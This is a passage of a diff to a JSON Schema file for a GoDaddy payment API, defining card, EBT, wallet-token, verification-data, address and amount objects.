"$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "customerPresent": { + "default": false, + "description": "Indicates whether customer was present during transaction", + "type": "boolean" + }, + "entryMethod": { + "description": "Entry mode for the card", + "enum": [ + "KEYED", + "MSR", + "CL_MSR", + "ICC", + "CL_ICC" + ], + "type": "string" + }, + "iccFallback": { + "default": false, + "description": "indicates whether there was a fallback to MSR from EMV", + "type": "boolean", + "writeOnly": true + } + }, + "title": "Card Entry Detail", + "type": "object" + }, + "expMonth": { + "maximum": 12, + "minimum": 1, + "type": "integer" + }, + "expYear": { + "maximum": 9999, + "minimum": 2000, + "type": "integer" + }, + "firstName": { + "description": "First name of card holder", + "type": "string" + }, + "interacMacDetail": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/interacmac.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "interacMac": { + "description": "Interac mac details for canada based cards", + "type": "string" + }, + "interacMacKSN": { + "description": "Interac mac key serial number for canada based cards", + "type": "string" + } + }, + "required": [ + "interacMac", + "interacMacKSN" + ], + "title": "Interac Mac", + "type": "object" + }, + "keySerialNumber": { + "description": "For DUKPT encryption", + "type": "string", + "writeOnly": true + }, + "lastName": { + "description": "Last name of card holder", + "type": "string" + }, + "number": { + "description": "Card number", + "type": "string" + }, + "sequenceNumber": { + "description": "Sequence number to distinguish between 2 cards with same PAN.", + "type": "string", + "writeOnly": true + }, + "serviceCode": { + "description": "Track data read from card", + "type": "string", + "writeOnly": true + }, + "source": { + "description": "Source of the card", + "enum": [ + "DIRECT", + "APPLE_PAY", + "GOOGLE_PAY" + ], + "type": "string" + }, + "track1Data": { + "description": "Card track 1 data", + "type": "string", + "writeOnly": true + }, + "track2Data": { + "description": "Card track 2 data", + "type": "string", + "writeOnly": true + }, + "track3Data": { + "description": "Card track 3 data", + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Type of the card", + "enum": [ + "VISA", + "MASTERCARD", + "AMERICAN_EXPRESS", + "DISCOVER" + ], + "type": "string" + } }, - "line2": { - "type": "string", - "description": "Address line 2" + "required": [ + "type", + "number", + "source" + ], + "title": "Card Detail", + "type": "object" + }, + "cardVerificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + }, + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" + } + }, + "type": "object", + "writeOnly": true + } }, - "city": { - "type": "string", - "description": "City" + "title": "Card VerificationData", + "type": "object" + }, + "processingInstruction": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/card-processing-instruction.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "debit": { + "default": false, + "description": "If card should be processed as debit or not", + "type": "boolean" + }, + "signatureRequired": { + "default": false, + "description": "If signature is required for this transaction", + "type": "boolean" + } }, - "territory": { - "type": "string", - "description": "Territory" + "title": "Card Processing Instruction", + "type": "object" + } + }, + "required": [ + "cardDetail" + ], + "title": "Payment Card", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/ebt-card.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardDetail": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-detail.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "encrypted": { + "default": true, + "description": "True if the card number is encrypted", + "type": "boolean", + "writeOnly": true + }, + "entryDetails": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-entry-detail.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "customerPresent": { + "default": false, + "description": "Indicates whether customer was present during transaction", + "type": "boolean" + }, + "entryMethod": { + "description": "Entry mode for the card", + "enum": [ + "KEYED", + "MSR", + "CL_MSR", + "ICC", + "CL_ICC" + ], + "type": "string" + }, + "iccFallback": { + "default": false, + "description": "indicates whether there was a fallback to MSR from EMV", + "type": "boolean", + "writeOnly": true + } + }, + "title": "Card Entry Detail", + "type": "object" + }, + "expMonth": { + "maximum": 12, + "minimum": 1, + "type": "integer" + }, + "expYear": { + "maximum": 9999, + "minimum": 2000, + "type": "integer" + }, + "firstName": { + "description": "First name of card holder", + "type": "string" + }, + "interacMacDetail": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/interacmac.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "interacMac": { + "description": "Interac mac details for canada based cards", + "type": "string" + }, + "interacMacKSN": { + "description": "Interac mac key serial number for canada based cards", + "type": "string" + } + }, + "required": [ + "interacMac", + "interacMacKSN" + ], + "title": "Interac Mac", + "type": "object" + }, + "keySerialNumber": { + "description": "For DUKPT encryption", + "type": "string", + "writeOnly": true + }, + "lastName": { + "description": "Last name of card holder", + "type": "string" + }, + "number": { + "description": "Card number", + "type": "string" + }, + "sequenceNumber": { + "description": "Sequence number to distinguish between 2 cards with same PAN.", + "type": "string", + "writeOnly": true + }, + "serviceCode": { + "description": "Track data read from card", + "type": "string", + "writeOnly": true + }, + "source": { + "description": "Source of the card", + "enum": [ + "DIRECT", + "APPLE_PAY", + "GOOGLE_PAY" + ], + "type": "string" + }, + "track1Data": { + "description": "Card track 1 data", + "type": "string", + "writeOnly": true + }, + "track2Data": { + "description": "Card track 2 data", + "type": "string", + "writeOnly": true + }, + "track3Data": { + "description": "Card track 3 data", + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Type of the card", + "enum": [ + "VISA", + "MASTERCARD", + "AMERICAN_EXPRESS", + "DISCOVER" + ], + "type": "string" + } + }, + "required": [ + "type", + "number", + "source" + ], + "title": "Card Detail", + "type": "object" + }, + "cardType": { + "enum": [ + "FOOD_STAMP", + "CASH_BENEFIT", + "ELECTRONIC_VOUCHER" + ], + "type": "string" + }, + "cardVerificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + }, + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" + } + }, + "type": "object", + "writeOnly": true + } + }, + "title": "Card VerificationData", + "type": "object" + }, + "eVoucherApprovalCode": { + "type": "string" + }, + "eVoucherSerial": { + "type": "string" + } + }, + "required": [ + "cardDetail", + "cardType" + ], + "title": "EBT Card", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/gdpayment-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "verificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Verification data for funding source", + "discriminator": { + "mapping": { + "CARD": "../verification-data/CardVerificationData.yaml", + "TOKEN": "../verification-data/TokenVerificationData.yaml" + }, + "propertyName": "type" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + }, + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" + } + }, + "type": "object", + "writeOnly": true + } + }, + "title": "Card VerificationData", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "billingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + } + }, + "title": "Token VerificationData", + "type": "object" + } + ], + "properties": { + "type": { + "description": "Discriminator type", + "type": "string" + } + }, + "required": [ + "type" + ], + "title": "VerificationData", + "type": "object" + } }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" + "title": "PaymentTokenFundingSource", + "type": "object" + } + ], + "properties": { + "token": { + "description": "Godaddy Payment token", + "type": "string", + "writeOnly": true + } + }, + "required": [ + "token" + ], + "title": "GoDaddy PaymentToken", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/applepay-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "verificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Verification data for funding source", + "discriminator": { + "mapping": { + "CARD": "../verification-data/CardVerificationData.yaml", + "TOKEN": "../verification-data/TokenVerificationData.yaml" + }, + "propertyName": "type" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + }, + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" + } + }, + "type": "object", + "writeOnly": true + } + }, + "title": "Card VerificationData", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "billingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + } + }, + "title": "Token VerificationData", + "type": "object" + } + ], + "properties": { + "type": { + "description": "Discriminator type", + "type": "string" + } + }, + "required": [ + "type" + ], + "title": "VerificationData", + "type": "object" + } }, - "country": { - "type": "string", - "description": "Country" + "title": "PaymentTokenFundingSource", + "type": "object" + } + ], + "properties": { + "token": { + "description": "Apple pay token", + "type": "string", + "writeOnly": true + } + }, + "required": [ + "token" + ], + "title": "ApplePayPaymentToken", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/google-pay-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "verificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Verification data for funding source", + "discriminator": { + "mapping": { + "CARD": "../verification-data/CardVerificationData.yaml", + "TOKEN": "../verification-data/TokenVerificationData.yaml" + }, + "propertyName": "type" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + }, + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" + } + }, + "type": "object", + "writeOnly": true + } + }, + "title": "Card VerificationData", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "billingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + } + }, + "title": "Token VerificationData", + "type": "object" + } + ], + "properties": { + "type": { + "description": "Discriminator type", + "type": "string" + } + }, + "required": [ + "type" + ], + "title": "VerificationData", + "type": "object" + } }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] + "title": "PaymentTokenFundingSource", + "type": "object" + } + ], + "properties": { + "token": { + "description": "Google pay token", + "type": "string", + "writeOnly": true + } }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" + "required": [ + "token" + ], + "title": "GooglePayPaymentToken", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/paypal-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "verificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Verification data for funding source", + "discriminator": { + "mapping": { + "CARD": "../verification-data/CardVerificationData.yaml", + "TOKEN": "../verification-data/TokenVerificationData.yaml" + }, + "propertyName": "type" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + }, + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" + } + }, + "type": "object", + "writeOnly": true + } + }, + "title": "Card VerificationData", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "billingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + } + }, + "title": "Token VerificationData", + "type": "object" + } + ], + "properties": { + "type": { + "description": "Discriminator type", + "type": "string" + } + }, + "required": [ + "type" + ], + "title": "VerificationData", + "type": "object" + } }, - "cryptogram": { - "type": "string" - } + "title": "PaymentTokenFundingSource", + "type": "object" } - } + ], + "properties": { + "token": { + "description": "Paypal token", + "type": "string", + "writeOnly": true + } + }, + "required": [ + "token" + ], + "title": "PaypalPaymentToken", + "type": "object" } - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Token VerificationData", - "type": "object", - "properties": { - "billingAddress": { - "description": "Address for verification", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - } + ], + "properties": { + "sourceType": { + "description": "Discriminator field representing the type of Funding source", + "type": "string" } - } - ], - "discriminator": { - "propertyName": "type", - "mapping": { - "CARD": "../verification-data/CardVerificationData.yaml", - "TOKEN": "../verification-data/TokenVerificationData.yaml" - } - }, - "properties": { - "type": { - "type": "string", - "description": "Discriminator type" - } + }, + "required": [ + "sourceType" + ], + "title": "Funding Source", + "type": "object" }, - "required": [ - "type" - ] - } - } - } - ], - "properties": { - "token": { - "type": "string", - "description": "Godaddy Payment token", - "writeOnly": true - } - }, - "required": [ - "token" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/applepay-token.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ApplePayPaymentToken", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentTokenFundingSource", - "type": "object", - "properties": { - "verificationData": { - "description": "Verification data", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "VerificationData", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", - "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true - }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true - }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } + "parentTransactionId": { + "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Custom URN format", + "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", + "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "readOnly": true, + "title": "Id", + "type": "string", + "x-custom-id": true, + "x-custom-type": true + } + }, + "title": "Refund Transaction", + "type": "object", + "x-generic-type": "Transaction" + }, + "readOnly": true, + "type": "array" + }, + "sales": { + "description": "Sales for the payment", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/sale.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Represents transaction against a payment", + "properties": { + "amount": { + "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "DETAILED": "./DetailedAmount.yaml", + "SIMPLE": "./SimpleAmount.yaml" }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] + "propertyName": "amountType" }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" - }, - "cryptogram": { - "type": "string" - } - } - } - } - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Token VerificationData", - "type": "object", - "properties": { - "billingAddress": { - "description": "Address for verification", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Payment amount", + "format": "int64", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + } }, - "country": { - "type": "string", - "description": "Country" + "required": [ + "amount", + "currency" + ], + "title": "Simple Amount", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cashback": { + "description": "Cashback details", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + }, + "fees": { + "description": "Fees if any", + "items": { + "$id": 